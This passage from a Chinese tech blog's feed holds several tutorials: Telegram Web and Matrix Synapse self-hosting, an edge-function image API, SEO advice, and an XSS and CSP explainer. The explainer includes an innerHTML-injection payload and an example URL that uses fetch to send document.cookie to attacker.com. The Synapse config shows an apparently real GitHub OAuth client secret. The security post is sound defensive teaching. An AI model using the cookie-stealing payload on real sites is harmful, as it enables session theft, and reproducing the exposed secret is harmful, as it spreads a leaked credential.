&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;假如我的域名是 &lt;code&gt;072103.xyz&lt;/code&gt; ,则为 &lt;code&gt;pluto.web.072103.xyz&lt;/code&gt; 。其他的以此类推&lt;/p&gt;
&lt;p&gt;Fork 仓库: &lt;a href=&quot;https://github.com/morethanwords/tweb&quot;&gt;morethanwords/tweb: Telegram Web K, GPL v3&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;全局搜索 &lt;code&gt;.web.telegram.org&lt;/code&gt; 替换为 &lt;code&gt;.web.072103.xyz&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;将该仓库部署到Cloudflare Page构建命令为 &lt;code&gt;pnpm build&lt;/code&gt; ,构建输出目录为 &lt;code&gt;public&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;成功&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-18-21-46-0c8fc3ac93604c65401132aaa59c803d_720.BTslyNna.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>QQ微信不够私密自建自己的聊天服务器</title><link>https://blog.acofork.com/posts/self-host-matrix/</link><guid isPermaLink="true">https://blog.acofork.com/posts/self-host-matrix/</guid><description>通过自建Synapse用户可以通过Element等软件来直接在你的服务器上聊天</description><pubDate>Sat, 02 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前置环境准备&lt;/h1&gt;
&lt;p&gt;由于Synapse、Matrix下文简称”矩阵“手搓部署非常麻烦。所以请安装 &lt;strong&gt;1Panel面板&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;部署PostgreSQL&lt;/h1&gt;
&lt;p&gt;安装并创建名为 &lt;code&gt;synapse&lt;/code&gt; 用户名也为 &lt;code&gt;synapse&lt;/code&gt; 的数据库&lt;/p&gt;
&lt;p&gt;前往应用商店安装 &lt;code&gt;PGAdmin4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-24-58-image.Dukbnojp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着点击添加服务器&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-27-10-image.BwzuGLXw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;相关信息可以在连接信息看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-27-53-image.BhMJqDaM.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;删除&lt;/strong&gt;刚刚创建的 &lt;code&gt;synapse&lt;/code&gt; 这个数据库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-28-49-image.D2AQvPQq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;重新创建同名数据库&lt;/p&gt;
&lt;p&gt;设置所有者(即用户名)为 &lt;code&gt;synapse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-29-36-image.CWyfKxsy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;排序规则&lt;/code&gt;&lt;code&gt;字符类型&lt;/code&gt; 都改为 &lt;code&gt;C&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-30-34-image.B6ghicbq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;部署Synapse&lt;/h1&gt;
&lt;p&gt;首先参照1Panel官方的教程去创建一个存储卷否则安装 &lt;code&gt;synapse&lt;/code&gt; 会失败&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-32-00-image.BfSRocfy.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装 &lt;code&gt;synapse&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;导航到文件管理: &lt;code&gt;/var/lib/docker/volumes/synapse-data/_data&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;你应该可以看到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-17-33-50-image.CcNMlpXn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编辑 &lt;code&gt;homeserver.yaml&lt;/code&gt; ,并按需配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;server_name: &quot;家服务器名称比如m.2x.nz&quot;
public_baseurl: &quot;公共URL比如https://m.2x.nz&quot;
pid_file: /data/homeserver.pid
serve_server_wellknown: true # 启用联邦
listeners:
- port: 8008
tls: false
type: http
x_forwarded: true
resources:
- names: [client, federation]
compress: false
response_headers:
Access-Control-Allow-Origin: &quot;https://app.element.io&quot;
Access-Control-Allow-Methods: &quot;GET, POST, OPTIONS&quot;
Access-Control-Allow-Headers: &quot;Content-Type, Authorization&quot;
database:
name: psycopg2
args:
user: synapse
password: 你的数据库密码
dbname: synapse
host: 你的PostgreSQL的容器名称
cp_min: 5
cp_max: 10
log_config: &quot;/data/my.matrix.host.log.config&quot;
media_store_path: /data/media_store
registration_shared_secret: &quot;这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置&quot;
macaroon_secret_key: &quot;这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置&quot;
form_secret: &quot;这里的东西是随机生成的,每个人都不一样,请忽略这一块,并使用你的配置&quot;
signing_key_path: &quot;/data/my.matrix.host.signing.key&quot;
report_stats: false
trusted_key_servers:
- server_name: &quot;matrix.org&quot;
# Github OAuth
oidc_providers:
- idp_id: github
idp_name: Github
idp_brand: &quot;github&quot; # optional: styling hint for clients
discover: false
issuer: &quot;https://github.com/&quot;
client_id: &quot;Ov23liaHxxYHybb0jRoZ&quot; # TO BE FILLED
client_secret: &quot;e937f214ea7c132924ab34c76d83f4b7099d696e&quot; # TO BE FILLED
authorization_endpoint: &quot;https://github.com/login/oauth/authorize&quot;
token_endpoint: &quot;https://github.com/login/oauth/access_token&quot;
userinfo_endpoint: &quot;https://api.github.com/user&quot;
scopes: [&quot;read:user&quot;]
user_mapping_provider:
config:
subject_claim: &quot;id&quot;
localpart_template: &quot;{{ user.login }}&quot;
display_name_template: &quot;{{ user.name }}&quot;
### ✅ 邮件配置确保SMTP验证正常
email:
smtp_host: &quot;你的SMTP发件服务器&quot;
smtp_port: 465
smtp_user: &quot;你的发件邮箱&quot;
smtp_pass: &quot;你的SMTP密码&quot;
force_tls: true
notif_from: &quot;Matrix &amp;lt;你的发件邮箱&amp;gt;&quot;
validation_token_lifetime: &quot;5m&quot;
### ✅ 启用注册 + 邮箱验证 + 密码找回
enable_registration: true
registrations_require_3pid:
- email
registration_requires_token: false # 确保不强制邀请码注册(默认关闭)
password_config:
enabled: true
### ✅ 允许邮箱登录
login_via_existing_session:
enabled: true
rc_registration:
per_second: 0.003 # 每秒允许的注册请求例如0.003 ≈ 每5分钟一次
burst_count: 1 # 同一IP地址的最大注册突发数
# 消息发送速率限制
rc_message:
per_second: 0.2 # 每秒允许发送的消息数
burst_count: 10 # 突发消息缓冲区大小
# 房间加入速率限制
rc_joins:
local:
per_second: 0.1 # 本地用户加入房间的速率
burst_count: 10
remote:
per_second: 0.01 # 远程用户加入房间的速率
burst_count: 10
# 媒体保留设置
media_retention:
# 本地媒体文件的保留时间
local_media_lifetime: 90d
# 远程媒体文件的保留时间来自其他homeserver的媒体
remote_media_lifetime: 14d
# 删除陈旧设备的时间
delete_stale_devices_after: 1y
auto_join_rooms:
- &quot;#XXX:你的家服务器URL&quot; # 需要自动加入的房间
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按需配置,更多高级配置参阅: &lt;a href=&quot;https://element-hq.github.io/synapse/latest/usage/configuration/homeserver_sample_config.html&quot;&gt;Homeserver Sample Config File - Synapse&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;创建管理员账号&lt;/h1&gt;
&lt;p&gt;连接上容器的终端然后输入这串命令创建管理员账号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;register_new_matrix_user http://localhost:8008 -c /data/homeserver.yaml -a -u 管理员用户名 -p 密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;开始聊天&lt;/h1&gt;
&lt;p&gt;前往 https://app.element.io 将家服务器改为你的必须为HTTPS&lt;/p&gt;
&lt;p&gt;通过刚刚创建的管理员账号登录&lt;/p&gt;
&lt;p&gt;其他人可以通过邮箱注册&lt;/p&gt;
</content:encoded></item><item><title>对标CF Worker拿EdgeOne边缘函数做一个随机图API</title><link>https://blog.acofork.com/posts/eo-function/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eo-function/</guid><description>很早就知道EdgeOne边缘函数一直都没来得及体验今天上手后发现它真的很强大</description><pubDate>Fri, 01 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/afoim/EdgeOne_Function_PicAPI&quot;&gt;afoim/EdgeOne_Function_PicAPI: 适用于EdgeOne边缘函数的随机图API&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;复制 &lt;code&gt;worker.js&lt;/code&gt; 代码&lt;/p&gt;
&lt;p&gt;部署到EdgeOne边缘函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/4274a5c6-c3d5-468b-8c98-d515a0a22762.BNTnQKGl.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将代码开头的 &lt;code&gt;R2_CONFIG&lt;/code&gt; 设为你自己的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var R2_CONFIG = {
region: &apos;auto&apos;,
service: &apos;s3&apos;,
accountId: &apos;&apos;,
accessKeyId: &apos;&apos;,
secretAccessKey: &apos;&apos;,
bucketName: &apos;&apos;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;配置你的R2将横屏随机图放到 &lt;code&gt;ri/h&lt;/code&gt;&lt;code&gt;ri/v&lt;/code&gt; 。保证跟代码中的路径一样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; // 根据路径确定前缀
var prefix = &apos;&apos;;
if (pathname === &apos;/h&apos;) {
prefix = &apos;ri/h/&apos;;
} else if (pathname === &apos;/v&apos;) {
prefix = &apos;ri/v/&apos;;
} else if (pathname === &apos;/&apos;) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;/h&lt;/code&gt; 则展示一张横屏随机图,访问 &lt;code&gt;/v&lt;/code&gt; 则展示一张竖屏随机图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/fe7629b7-2acd-4e84-bd0c-d66ee7a54528.BHUR0NEy.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果需要绑定域名请设置触发规则&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/33d931d4-e7cd-4d5d-afd8-85b787524391.DIgEUM6o.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;注意&lt;/h1&gt;
&lt;p&gt;边缘函数每月有300万次的请求数限制暂不知道超出是否扣费&lt;/p&gt;
</content:encoded></item><item><title>CSP标头是什么为什么有人能神不知鬼不觉地盗走你的信息</title><link>https://blog.acofork.com/posts/csp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/csp/</guid><description>CSP是内容安全策略它可以防止攻击者向您的网站恶意注入脚本以盗走用户信息</description><pubDate>Thu, 31 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;举个例子吧!&lt;/h1&gt;
&lt;p&gt;这是一个无CSP标头的网站 &lt;a href=&quot;https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&quot;&gt;点我&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不出意外,你的浏览器会弹出一个提示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b279f283-b5d2-4dbd-955e-5b3bba6ff656.BRJVLTp_.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;这是如何做到的?&lt;/h1&gt;
&lt;p&gt;这个项目开源在 &lt;a href=&quot;https://github.com/afoim/none_csp_demo&quot;&gt;afoim/none_csp_demo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;HTML内容为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
&amp;lt;title&amp;gt;欢迎页面&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;欢迎&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;你好,&amp;lt;span id=&quot;name&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;script&amp;gt;
// 从 URL 参数读取用户名并显示
const params = new URLSearchParams(location.search);
const name = params.get(&quot;name&quot;);
document.getElementById(&quot;name&quot;).innerHTML = name;
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个网站非常简单,网页通过查询符 &lt;code&gt;?name=xxx&lt;/code&gt; 来动态显示用户名&lt;/p&gt;
&lt;p&gt;比如你输入 https://none-csp-demo.pages.dev/nocsp?name=AcoFork 网页就会显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/366d0934-9c3a-4196-a7ae-1c230c916daf.D7dd0YDq.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而根据源码 网页是通过 &lt;code&gt;innerHTML&lt;/code&gt; 直接进行文本插入的&lt;/p&gt;
&lt;p&gt;这种方式没有任何的安全审查会将传入的内容直接拼接到HTML中&lt;/p&gt;
&lt;p&gt;那么...如果我们给网站这样一个 &lt;code&gt;name&lt;/code&gt; 呢?&lt;/p&gt;
&lt;p&gt;尝试输入&lt;/p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;/p&gt;
&lt;p&gt;你会发现网站并没有打印出任何用户名,而且浏览器还弹出了一个奇怪的窗口&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e86cfeed-a9d4-402b-aed0-fc3624f3e925.CuQbTzGe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们F12查看当前网页的源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ad38bc52-e689-4923-b79c-894dc9ab4136.DslOMFzZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现在 &lt;code&gt;&amp;lt;span id=&quot;name&quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;被插入了一条 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt;&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;也就是说,网页把我们传入的 &lt;code&gt;name&lt;/code&gt; 并没有解析为纯文本&lt;/p&gt;
&lt;p&gt;而是暴力的直接插入了HTML&lt;/p&gt;
&lt;p&gt;导致浏览器并没有渲染出来 &lt;code&gt;你好,&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt; &lt;/code&gt;&lt;/p&gt;
&lt;p&gt;而是直接将 &lt;code&gt;&amp;lt;img src=&quot;x&quot; onerror=&quot;alert(&apos;XSS攻击成功&apos;)&quot;&amp;gt;&lt;/code&gt; 作为HTML去执行了&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;src=x&lt;/code&gt; 必定无法获取,又因为设置了 &lt;code&gt;onerror&lt;/code&gt; 这个回退源&lt;/p&gt;
&lt;p&gt;导致浏览器直接执行了 &lt;code&gt;alert(&apos;XSS攻击成功&apos;)&lt;/code&gt; 这个脚本!&lt;/p&gt;
&lt;h1&gt;有什么危害?&lt;/h1&gt;
&lt;p&gt;举一反三,既然我们能让浏览器弹出一个提示框&lt;/p&gt;
&lt;p&gt;那也就能做到其他事情&lt;/p&gt;
&lt;p&gt;攻击者完全可以伪造一条URL然后发给你比如&lt;strong&gt;获取你的浏览器Cookie然后通过Fetch发送到指定的服务器&lt;/strong&gt;
&lt;code&gt;https://victim-site.com/page?name=&amp;lt;img src=x onerror=&quot;fetch(&apos;https://attacker.com/log?cookie=&apos;+document.cookie)&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;如何设置CSP以避免这类攻击&lt;/h1&gt;
&lt;p&gt;尝试访问这个URL该URL设置了严格的CSP策略&lt;/p&gt;
&lt;p&gt;https://none-csp-demo.pages.dev/csp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E&lt;/p&gt;
&lt;p&gt;你会发现并未弹出提示框并且F12控制台出现报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2febeecf-6f54-4c6a-b775-ef2ac8598f37.DMBGi7Eo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以下是GPT给出的翻译和解释&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;翻译:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;拒绝执行内联脚本,因为它违反了以下 CSP 指令:&lt;code&gt;script-src &apos;self&apos;&lt;/code&gt;。要允许执行内联脚本,必须使用 &lt;code&gt;&apos;unsafe-inline&apos;&lt;/code&gt; 关键字、指定哈希值(例如 &lt;code&gt;&apos;sha256-raHeKmhSLYgI2dPMTS+XHraijHkbV3RTs8np6RhiKqQ=&apos;&lt;/code&gt;),或使用随机数(例如 &lt;code&gt;&apos;nonce-...&apos;&lt;/code&gt;)。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;解释:&lt;/strong&gt;&lt;br /&gt;
你的 CSP 策略里规定只能加载本域(&lt;code&gt;&apos;self&apos;&lt;/code&gt;)的脚本,但是你在 HTML 页面中写了 &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; 这样的&lt;strong&gt;内联脚本&lt;/strong&gt;inline script。这被当前 CSP 限制了,无法执行。&lt;/p&gt;
&lt;p&gt;这样我们就成功避免了XSS攻击&lt;/p&gt;
&lt;p&gt;在HTML head中添加以下内容即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; &amp;lt;!-- 安全的 CSP 策略 --&amp;gt;
&amp;lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;
default-src &apos;self&apos;;
script-src &apos;self&apos;;
object-src &apos;none&apos;;
frame-ancestors &apos;none&apos;;
base-uri &apos;self&apos;;
&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;如何保证我的数据安全?&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你正在运营站点,&lt;strong&gt;请确保各个站点设置了严格的CSP策略&lt;/strong&gt;。这样即使有攻击者想要XSS注入也会被CSP策略拦截&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不要随意点击来历不明的链接或扫描来历不明的二维码&lt;/strong&gt;。对于短链接、混淆后的链接首先先解析出最终链接评估风险后再访问。或者使用无痕模式访问。也许目标网站并没有严格的CSP策略这可能会导致你的个人数据泄露&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>如何提高网站的SEO</title><link>https://blog.acofork.com/posts/improve-seo/</link><guid isPermaLink="true">https://blog.acofork.com/posts/improve-seo/</guid><description>很多人做个网站后就不管了,殊不知想让搜索引擎快速收录并且提高排名要做的事情还不少呢!</description><pubDate>Wed, 30 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;标题&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;title&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;不要重名&lt;/h3&gt;
&lt;p&gt;如果你的标题是中文,请确保不要和任何知名事物关联上,比如不要叫 &lt;code&gt;树叶博客&lt;/code&gt; ,而是 &lt;code&gt;叶树博客&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;搜索引擎对于知名事物给的权重很高,如果你还和这些知名事物重名,大众则很难搜索到你&lt;/p&gt;
&lt;h3&gt;使用英文标题&lt;/h3&gt;
&lt;p&gt;比如 &lt;code&gt;AcoFork Blog&lt;/code&gt;&lt;code&gt;afoim Blog&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;尝试自创一个单词,和中文一样,不要和知名事物重名&lt;/p&gt;
&lt;p&gt;搜索引擎会将无法关联的网页作为独立权重&lt;/p&gt;
&lt;p&gt;直接搜索您的自创单词,大概率就能找到您的网站,如:&lt;code&gt;AcoFork&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;跨页面使用主标题锚定&lt;/h3&gt;
&lt;p&gt;一个网站大部分情况都有多个页面,如 主页,分类,归档等等&lt;/p&gt;
&lt;p&gt;除了主页面要展示您的特有标题,其他页面也需要&lt;/p&gt;
&lt;p&gt;比如主页面标题为 &lt;code&gt;AcoFork Blog&lt;/code&gt; ,则副页面可以为 &lt;code&gt;分类 - AcoFork Blog&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;AcoFork Blog - 分类&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;但是请不要直接单写一个 &lt;code&gt;分类&lt;/code&gt; 。虽然这可能并不会误导搜索引擎的判断(只要还是同一个域名),但可能会误导用户的判断&lt;/p&gt;
&lt;p&gt;比如搜索您的网站排在第一位的是一个标题为 &lt;code&gt;分类&lt;/code&gt; 的网页&lt;/p&gt;
&lt;h1&gt;言简意赅写明description&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;description&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;网站描述不要写的太短,也不应太长,更不能没有&lt;/p&gt;
&lt;p&gt;我的网站简介是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客专注于云原生、无服务器架构和前后端开发作者为AcoFork/afoim/二叉树树&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;关键词&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;keywords&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现代搜索引擎基本不看,很容易被滥用。所以不需要写&lt;/p&gt;
&lt;h1&gt;同内容网站只能有一个&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如无必要,请不要变更域名。也不要将其他域名指向您的站点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;假如我有 &lt;code&gt;acofork.com&lt;/code&gt; &lt;code&gt;acofork.cn&lt;/code&gt; 。都想指向我的同一个网站?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;请使用 301 重定向&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;否则你的SEO将被破坏搜索引擎不会将这两个站点视为同一个站点&lt;/p&gt;
&lt;p&gt;同时确保你的域名日后仅作重定向用。因为301重定向会在客户端种下一个种子&lt;/p&gt;
&lt;p&gt;客户端第一次访问时服务器返回301状态码日后客户端则不会请求服务器直接重定向到目标URL&lt;/p&gt;
&lt;p&gt;如果日后需要将域名挪作他用,那么请不要写任何解析,避免日后部署其他服务部分用户不可用&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决这个问题需要引导用户清除浏览器的本地缓存,非常麻烦&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;避免使用相同名字的云托管服务&lt;/h1&gt;
&lt;p&gt;比如 xLog。我曾经创建过一个 &lt;code&gt;acofork.xlog.app&lt;/code&gt; 的站点。现在不用了又由于xLog是区块链我还丢失了私钥助记词现在无人能登上自然也无法删除其中的内容。至今仍在破坏我站的SEO&lt;/p&gt;
&lt;h1&gt;使用Lighthouse分析站点分数&lt;/h1&gt;
&lt;p&gt;Lighthouse是一个浏览器插件可以分析站点的性能、无障碍、最佳做法和性能&lt;/p&gt;
&lt;p&gt;可以前往各自的浏览器插件商店搜索 &lt;code&gt;Lighthouse&lt;/code&gt; 进行安装测试&lt;/p&gt;
&lt;p&gt;注意需要使用无痕模式进行测试以免其他浏览器插件影响Lighthouse的测试结果&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/579087ce-3a48-4390-8ba3-e42dea60135e.BVSkuGcA.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于每一项出现的问题以及如何解决都有明确的指示。可以根据警告对您的站点进行优化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5174f53e-5c7f-49a9-86fc-ea6797975d59.DOSth4De.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;接入必应网站管理员&lt;/h1&gt;
&lt;p&gt;前往 https://www.bing.com/webmasters&lt;/p&gt;
&lt;p&gt;接入您的站点后,必应爬虫将会分析您的网站,并且告知您的网站是否可以在搜索结果中展示&lt;/p&gt;
&lt;p&gt;必应爬虫还会针对它的视角提出您网站的问题,您可以根据提出的问题进行优化&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/eabc21ac-c306-4165-afe0-1b9da3d2a179._zlVcjiX.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/081682fd-2d05-4d3f-a191-1c0f5c9b624c.CHpe6cmF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;接入各大分析&lt;/h1&gt;
&lt;p&gt;可以将网站接入各大分析,这样不仅能看到网站的流量,也能让搜索引擎知道这个网站是在被精心运营的&lt;/p&gt;
&lt;p&gt;百度统计: https://tongji.baidu.com/&lt;/p&gt;
&lt;p&gt;必应网站管理员: https://www.bing.com/webmaster/&lt;/p&gt;
&lt;p&gt;谷歌搜索控制台: https://search.google.com/&lt;/p&gt;
&lt;p&gt;谷歌分析: https://analytics.google.com/&lt;/p&gt;
&lt;p&gt;谷歌广告: https://www.google.com/adsense/&lt;/p&gt;
&lt;h1&gt;使用IndexNow&lt;/h1&gt;
&lt;p&gt;曾经如果想要提高网站的SEO我们只能静静等待各大搜索引擎爬虫进行网站内容的爬取&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IndexNow&lt;/strong&gt; 允许网站主动向各大搜索引擎提交高质量的内容。详见: &lt;a href=&quot;https://www.bing.com/indexnow&quot;&gt;Why IndexNow | Bing Webmaster Tools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果您使用Cloudflare CDN这是开箱即用的只需要导航到您的域名 -&amp;gt; 缓存 -&amp;gt; 配置 -&amp;gt; 启用 &lt;strong&gt;Crawler Hints&lt;/strong&gt; 即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/303b37e5-4104-4e2a-8a3b-bdb6094159e7.C427VpRg.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>关于本站为什么不进行ICP备案</title><link>https://blog.acofork.com/posts/why-not-icp/</link><guid isPermaLink="true">https://blog.acofork.com/posts/why-not-icp/</guid><description>由于诸多原因本站并未进行ICP备案这里记录了一些原因</description><pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;目前已备案,该文章存档&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;违规内容&lt;/h1&gt;
&lt;p&gt;早期本站发布过文章 &lt;a href=&quot;/posts/bypass-gfw/&quot;&gt;点此查看&lt;/a&gt;
该文章不符合备案规范。曾尝试过备案被打回&lt;/p&gt;
&lt;h1&gt;域名不支持备案&lt;/h1&gt;
&lt;p&gt;ICP备案是针对于域名的本人名下的 2x.nz 并不在ICP备案支持的域名后缀内&lt;/p&gt;
&lt;p&gt;所有支持备案的域名后缀请查看 https://domain.miit.gov.cn/&lt;/p&gt;
&lt;h1&gt;中国节点加速收效甚微&lt;/h1&gt;
&lt;p&gt;目前本站使用的CDN为Netlify CDNNetlify采用AWS的IP速度极快在中国大陆可用性很高延迟如下图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/96375c6a-f807-42b7-b1f0-33c0c7231037.A2h4Tshr.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
